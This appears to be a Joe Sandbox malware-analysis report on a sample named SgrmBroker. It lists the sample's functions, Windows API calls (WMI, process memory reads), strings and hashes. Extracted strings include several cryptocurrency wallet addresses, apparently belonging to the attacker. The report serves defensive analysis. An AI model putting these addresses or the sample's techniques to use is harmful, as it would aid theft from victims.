Instruction ID: 40e60f3e7ae5ff9e4e65e336a6e121de48e2898d6246936b5d30d3ea18fe73c8
Opcode Fuzzy Hash: 2b342e5f85685317ce02a23e819d8e80e0b7b38f641c62df627f9f30b7e79569
Instruction Fuzzy Hash: 9682F436609BC585EA618F15E4403EEB7B4FB99784F408226DACD83B59EF7CD1A4CB40

Function 00007FF6D9CFAEE2 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 546COMMON

Download Yara Rule

Strings

c, xrefs: 00007FF6D9CF8BF8
WQLEmptyNullStringI1I2I4I8R4R8BoolUI1UI2UI4UI8ArrayObjectIUnknownWrapperinner, xrefs: 00007FF6D9CF94ED
ROOT\CIMV2, xrefs: 00007FF6D9CF8BB2

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID:
String ID: ROOT\CIMV2$WQLEmptyNullStringI1I2I4I8R4R8BoolUI1UI2UI4UI8ArrayObjectIUnknownWrapperinner$c
API String ID: 0-3019736420
Opcode ID: 99531c3c7453a8e4d84afae31c3e5beb014a172f2344b6765ea1f23d0f19871b
Instruction ID: bf52744311e311aad9a600dd4bbabd9e02cf7ca034801ff7797e162f2940fd86
Opcode Fuzzy Hash: 99531c3c7453a8e4d84afae31c3e5beb014a172f2344b6765ea1f23d0f19871b
Instruction Fuzzy Hash: AE523632609B8185EA618F16E4403AEB7A4FB98B84F048136DECD87BA9DF7CD561C740

Function 00007FF6D9DD0ED0 Relevance: 10.6, APIs: 7, Instructions: 125
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.COMBASE ref: 00007FF6D9DD0F13
SysFreeString.OLEAUT32 ref: 00007FF6D9DD0F97
CoSetProxyBlanket.COMBASE ref: 00007FF6D9DD0FCC
GetErrorInfo.OLEAUT32 ref: 00007FF6D9DD0FF5
GetErrorInfo.OLEAUT32 ref: 00007FF6D9DD1029
SysFreeString.OLEAUT32 ref: 00007FF6D9DD104A
GetErrorInfo.OLEAUT32 ref: 00007FF6D9DD1082

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ErrorInfo$FreeString$BlanketCreateInstanceProxy
String ID:
API String ID: 2152923335-0
Opcode ID: cefaa8679dd2d47a1e7ea3fdb189a3170873cfb4e18a35ab71da528795d5223e
Instruction ID: e7a0141d733b470fb9732790d298aaf597dbf939229a143ccd3bb7b8076a98c8
Opcode Fuzzy Hash: cefaa8679dd2d47a1e7ea3fdb189a3170873cfb4e18a35ab71da528795d5223e
Instruction Fuzzy Hash: F9516C32608B8182EB549F65E59473EB7A0FF88B94F048136DE8A87B54DFBDD0548B40

Function 00007FF6D9DDEF40 Relevance: 8.1, APIs: 1, Strings: 4, Instructions: 592
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

arenegyl, xrefs: 00007FF6D9DDF37B
setybdet, xrefs: 00007FF6D9DDF38D
uespemos, xrefs: 00007FF6D9DDF35C
modnarod, xrefs: 00007FF6D9DDF369

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID:
String ID: arenegyl$modnarod$setybdet$uespemos
API String ID: 0-66988881
Opcode ID: a9c401846955f20bb67985c4b005eb24b45b8f4170ddd1b87e594bc8d3f53a66
Instruction ID: 47ae5da46ee8049b0b1b8f3055f70fbc62664493d97da9141f6571c61980a22c
Opcode Fuzzy Hash: a9c401846955f20bb67985c4b005eb24b45b8f4170ddd1b87e594bc8d3f53a66
Instruction Fuzzy Hash: 9A2232A2B29F8582EA148F6DA40057D6761FB89BE4F409336DEAE973D5EF3CC1518300

Function 00007FF6D9DCF390 Relevance: 7.6, APIs: 5, Instructions: 93
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL ref: 00007FF6D9DCF3B7
GetErrorInfo.OLEAUT32 ref: 00007FF6D9DCF3D8
NtQueryInformationProcess.NTDLL ref: 00007FF6D9DCF450
HeapFree.KERNEL32 ref: 00007FF6D9DCF47B
HeapFree.KERNEL32 ref: 00007FF6D9DCF48F

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeapInformationProcessQuery$ErrorInfo
String ID:
API String ID: 2435025923-0
Opcode ID: 6acfa91e5c25f6d6f1330cd990612bbe57679b0e96ca0712aaea64567012cfd3
Instruction ID: ce80b635d98a17c93812c5f5f77e5f6f790ab5f22956a141deb0b09b1dd9f71f
Opcode Fuzzy Hash: 6acfa91e5c25f6d6f1330cd990612bbe57679b0e96ca0712aaea64567012cfd3
Instruction Fuzzy Hash: D331A162B08F0191FB649F26E45037E66A1EF8CB94F544232DE8EC7BA4DE3CD5618300

Function 00007FF6D9CF7E40 Relevance: 6.8, APIs: 2, Strings: 2, Instructions: 756
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D9DC9960: GetProcessHeap.KERNEL32(?,?,00000008,?,00007FF6D9D29462,?,?,00000008,?,00007FF6D9DE1551), ref: 00007FF6D9DE644B

HeapFree.KERNEL32 ref: 00007FF6D9CF8A03
HeapFree.KERNEL32 ref: 00007FF6D9CF8A35

Strings

bnb1wgg754yum45k3xdujqux70grjamchd0r835qx30xbfc5eC42b076474556956170b0FEE67c44085A02bc1qra7aw9jlr4xvlh70aak2fgu9jfnjjal684ak8nDU53q9RcY38fQR6ucJ8UfRQezP5HWb1YorLNk3xaBohZWogkoVGW5W7c9ZrPVgrHpoJmXs9vVEZJjqf2u9jpyrYqwEJ5eqVKyYJWQSrNGLYRou7kXMBJydjJREVNgiskxGCM17, xrefs: 00007FF6D9CF7E8A
addr1qx0uvzkwcadg2fxtsjmf2gycwmm9euk07tp6xrucnvgjmp5lcc9va366s5jvhp9kj5sfsahktnevlukr5v8e3xc39krqkkzrmkUQA8QuqPYcdTBkQ31TFvM8XajaQc3R_C-5JFD_hrWlPm4hD1AWDLScUnSMFytQa25skvZetXDLWCH7N6Ef0xfFB8E61AF3e168EDF84BB3C020d43bCEb5A23D33t1bJ6AkfYVwT39PyvKLw6erNqqgxg6Yub, xrefs: 00007FF6D9CF8355

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Heap$Free$Process
String ID: addr1qx0uvzkwcadg2fxtsjmf2gycwmm9euk07tp6xrucnvgjmp5lcc9va366s5jvhp9kj5sfsahktnevlukr5v8e3xc39krqkkzrmkUQA8QuqPYcdTBkQ31TFvM8XajaQc3R_C-5JFD_hrWlPm4hD1AWDLScUnSMFytQa25skvZetXDLWCH7N6Ef0xfFB8E61AF3e168EDF84BB3C020d43bCEb5A23D33t1bJ6AkfYVwT39PyvKLw6erNqqgxg6Yub$bnb1wgg754yum45k3xdujqux70grjamchd0r835qx30xbfc5eC42b076474556956170b0FEE67c44085A02bc1qra7aw9jlr4xvlh70aak2fgu9jfnjjal684ak8nDU53q9RcY38fQR6ucJ8UfRQezP5HWb1YorLNk3xaBohZWogkoVGW5W7c9ZrPVgrHpoJmXs9vVEZJjqf2u9jpyrYqwEJ5eqVKyYJWQSrNGLYRou7kXMBJydjJREVNgiskxGCM17
API String ID: 2719409998-3231638534
Opcode ID: 2590335adbe2db1ce14068069ad4a343ce949a76aa3686c4218140aa74e4d27e
Instruction ID: 9e6a701b008196aa38edbe3aef54c89f217ef75b5b80aad09e66bb7ae3ba446a
Opcode Fuzzy Hash: 2590335adbe2db1ce14068069ad4a343ce949a76aa3686c4218140aa74e4d27e
Instruction Fuzzy Hash: FF72C432609B5181E7649F15E4903AE7BB5EBC83A4F444236EACD83BA9DF3CC255CB50

Function 00007FF6D9DD08F0 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f6c62ab2db21098160880d27bb8cad0d1082af47fb6b289407d2f1f7a8c4d3a
Instruction ID: c4c157599256169a3a72078c36042f43e23d30a6a7c29809c0f646ba4d1162ca
Opcode Fuzzy Hash: 5f6c62ab2db21098160880d27bb8cad0d1082af47fb6b289407d2f1f7a8c4d3a
Instruction Fuzzy Hash: 57712222F1CF5645FB684E21D95023E6A91BFC4798F085336DA6E867D4DE7CE0609B00

Function 00007FF6D9CF8A90 Relevance: 1.6, APIs: 1, Instructions: 391memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6D9DD0E00: CoInitializeEx.COMBASE(?,?,?,?,?,?,?,?,?,?,00007FF6D9CF8ACC), ref: 00007FF6D9DD0E0D
Part of subcall function 00007FF6D9DD0E00: CoInitializeSecurity.COMBASE ref: 00007FF6D9DD0E4E
Part of subcall function 00007FF6D9DD0E00: GetErrorInfo.OLEAUT32 ref: 00007FF6D9DD0E6A

HeapFree.KERNEL32 ref: 00007FF6D9CFB576

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Initialize$ErrorFreeHeapInfoSecurity
String ID:
API String ID: 3052856675-0
Opcode ID: 0f48b1aa49b6190a7b16018d7c58fe59604f862a2086cf6f194656bd0caab654
Instruction ID: ecfdaa87f9886f7e8d7aa4b1dca3961e99565eed0827b14269e0759acb9d7a4c
Opcode Fuzzy Hash: 0f48b1aa49b6190a7b16018d7c58fe59604f862a2086cf6f194656bd0caab654
Instruction Fuzzy Hash: BE32B136609BC494D671CB15F4813DAB7A8F799784F508226DACC83B69DFBCD1A4CB40

Function 00007FF6D9D4AF80 Relevance: 1.5, APIs: 1, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9D4B208

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 5b0d1d7fd54f2b927ec463458e338d930c35b5a77488b728646247ff87a8c530
Instruction ID: dba7660b1704b2d10da359130db7e2d2a40a5569f35b14e0e0c71ac55b5e9d19
Opcode Fuzzy Hash: 5b0d1d7fd54f2b927ec463458e338d930c35b5a77488b728646247ff87a8c530
Instruction Fuzzy Hash: 1B919F23A09A8582E7558F16E54037DB7A0F798BA4F448232EF9D43795DF3CE9A1CB00

Function 00007FF6D9CF1DED Relevance: 15.2, APIs: 10, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetErrorInfo.OLEAUT32 ref: 00007FF6D9CF17F4
VariantToPropVariant.PROPSYS ref: 00007FF6D9CF1E38
PropVariantToBSTR.PROPSYS ref: 00007FF6D9CF1EB3
GetErrorInfo.OLEAUT32 ref: 00007FF6D9CF1F69
PropVariantClear.OLE32 ref: 00007FF6D9CF1F7C
GetErrorInfo.OLEAUT32 ref: 00007FF6D9CF1FCE
SysFreeString.OLEAUT32 ref: 00007FF6D9CF1FE1
PropVariantClear.OLE32 ref: 00007FF6D9CF1FEF
SysFreeString.OLEAUT32 ref: 00007FF6D9CF209C
VariantClear.OLEAUT32 ref: 00007FF6D9CF21CB

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Variant$Prop$ClearErrorInfo$FreeString
String ID:
API String ID: 570662331-0
Opcode ID: a549cc1ded32417bf6302d8e63c0067434f630680e4ea3ea17c2ecf6f807ee73
Instruction ID: 82890b819c60196140dc6517257d723f886c50820e65cad2bf93c7aa608a08ab
Opcode Fuzzy Hash: a549cc1ded32417bf6302d8e63c0067434f630680e4ea3ea17c2ecf6f807ee73
Instruction Fuzzy Hash: B2A1F732609BC586E7718F55E4943EEB3B4FB84754F408226DAC983AA8DF7CD159CB40

Function 00007FF6D9CF28B0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 236
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32 ref: 00007FF6D9CF2943
SysFreeString.OLEAUT32 ref: 00007FF6D9CF2951
GetErrorInfo.OLEAUT32 ref: 00007FF6D9CF2A85
SysFreeString.OLEAUT32 ref: 00007FF6D9CF2AA6
SysFreeString.OLEAUT32 ref: 00007FF6D9CF2AB4
HeapFree.KERNEL32 ref: 00007FF6D9CF2B22

Strings

WQLEmptyNullStringI1I2I4I8R4R8BoolUI1UI2UI4UI8ArrayObjectIUnknownWrapperinner, xrefs: 00007FF6D9CF28CF
0, xrefs: 00007FF6D9CF2A46

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: Free$String$ErrorHeapInfo
String ID: 0$WQLEmptyNullStringI1I2I4I8R4R8BoolUI1UI2UI4UI8ArrayObjectIUnknownWrapperinner
API String ID: 364368470-1862106893
Opcode ID: ad48cfbcf0ab5b7cae1183f92f651c627291acb3989c20c33f8edf5d5ce7bd5c
Instruction ID: bbd6e8f7ea791b8522f9e3ee1ee0ca00d7b45bd521287e9e168f08bc2cdbd3eb
Opcode Fuzzy Hash: ad48cfbcf0ab5b7cae1183f92f651c627291acb3989c20c33f8edf5d5ce7bd5c
Instruction Fuzzy Hash: 76A1A322A0DB8181EB658F15A5403BDAB70FB95BD8F049232DE8E477A6DF3CE595C700

Function 00007FF6D9DCF160 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE ref: 00007FF6D9DCF1E2
GetLastError.KERNEL32 ref: 00007FF6D9DCF206
HeapFree.KERNEL32 ref: 00007FF6D9DCF240

Strings

ReadProcessMemory returned unexpected number of bytes readUnable to read process dataIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64CPU , xrefs: 00007FF6D9DCF21E

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ErrorFreeHeapLastMemoryProcessRead
String ID: ReadProcessMemory returned unexpected number of bytes readUnable to read process dataIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64CPU
API String ID: 2093145822-811746041
Opcode ID: 79e8c1a417f1afa2a78a02ba8c8650f5027d807980a54fb5341c9a1cc1e2f64e
Instruction ID: 6e8d0a4e51e77b74faa24a3b9dd87ba3a8b00ecd5207726ef6b4abe19d11d612
Opcode Fuzzy Hash: 79e8c1a417f1afa2a78a02ba8c8650f5027d807980a54fb5341c9a1cc1e2f64e
Instruction Fuzzy Hash: D021A726709B4691E6609F52BC406BEA6A4FF597A4F844236EEADC77E0DF3CD061D300

Function 00007FF6D9DD0E00 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(?,?,?,?,?,?,?,?,?,?,00007FF6D9CF8ACC), ref: 00007FF6D9DD0E0D
CoInitializeSecurity.COMBASE ref: 00007FF6D9DD0E4E
GetErrorInfo.OLEAUT32 ref: 00007FF6D9DD0E6A
GetErrorInfo.OLEAUT32 ref: 00007FF6D9DD0E9F

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ErrorInfoInitialize$Security
String ID:
API String ID: 413594595-0
Opcode ID: 84103676e15c0cf9c0dac99652f5b94c19bf42f2e318447df2893695f895a070
Instruction ID: 71f059af7afda498085739e132a91ff85a3d5682fa5161cac4be9946b8f20e4d
Opcode Fuzzy Hash: 84103676e15c0cf9c0dac99652f5b94c19bf42f2e318447df2893695f895a070
Instruction Fuzzy Hash: FC112132B08B8183EB948F24E45432EB7A1FFC4B58F544236D69A87B94DFBDD4548B40

Function 00007FF6D9DD0570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 00007FF6D9DD05A7
K32GetPerformanceInfo.KERNEL32 ref: 00007FF6D9DD05F3

Strings

@, xrefs: 00007FF6D9DD059A

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: GlobalInfoMemoryPerformanceStatus
String ID: @
API String ID: 3163563144-2766056989
Opcode ID: 569f5e5e4de5a2d1dbff4c1db82d7056d41f0377743af30d59fcf5673e13d7c0
Instruction ID: ab9f39f42b037d413b4be86c8f9783595b9ba6ac550588818965f3df8466340b
Opcode Fuzzy Hash: 569f5e5e4de5a2d1dbff4c1db82d7056d41f0377743af30d59fcf5673e13d7c0
Instruction Fuzzy Hash: CF019011958DC192E2364F28E4463F6A3B5BFE4769F005311FAC941754EF7AD2A78B00

Function 00007FF6D9CFBF40 Relevance: 5.1, APIs: 4, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D9DD0E00: CoInitializeEx.COMBASE(?,?,?,?,?,?,?,?,?,?,00007FF6D9CF8ACC), ref: 00007FF6D9DD0E0D
Part of subcall function 00007FF6D9DD0E00: CoInitializeSecurity.COMBASE ref: 00007FF6D9DD0E4E
Part of subcall function 00007FF6D9DD0E00: GetErrorInfo.OLEAUT32 ref: 00007FF6D9DD0E6A

CloseHandle.KERNEL32 ref: 00007FF6D9CFCE7B
CloseHandle.KERNEL32 ref: 00007FF6D9CFCE80

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: CloseHandleInitialize$ErrorInfoSecurity
String ID:
API String ID: 1445471777-0
Opcode ID: 6aab80cf292e4e8fd16ad849ef27c9ba43182dc39c57004028da022426039bcd
Instruction ID: 1b4b9161bd395ba0749fc76d3b5ffb03c51f61b93554cbddccb8c6a07fa874d2
Opcode Fuzzy Hash: 6aab80cf292e4e8fd16ad849ef27c9ba43182dc39c57004028da022426039bcd
Instruction Fuzzy Hash: 2221332164DAC181EA659F15A4447BEA770FB85BC8F080536EE8D93799DF7CE854CB00

Function 00007FF6D9DC62E0 Relevance: 4.6, APIs: 3, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D9DBBE40: HeapFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6D9DBBF73

HeapFree.KERNEL32 ref: 00007FF6D9DC6386
HeapFree.KERNEL32 ref: 00007FF6D9DC6398
GetFileAttributesW.KERNELBASE ref: 00007FF6D9DC63B5

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
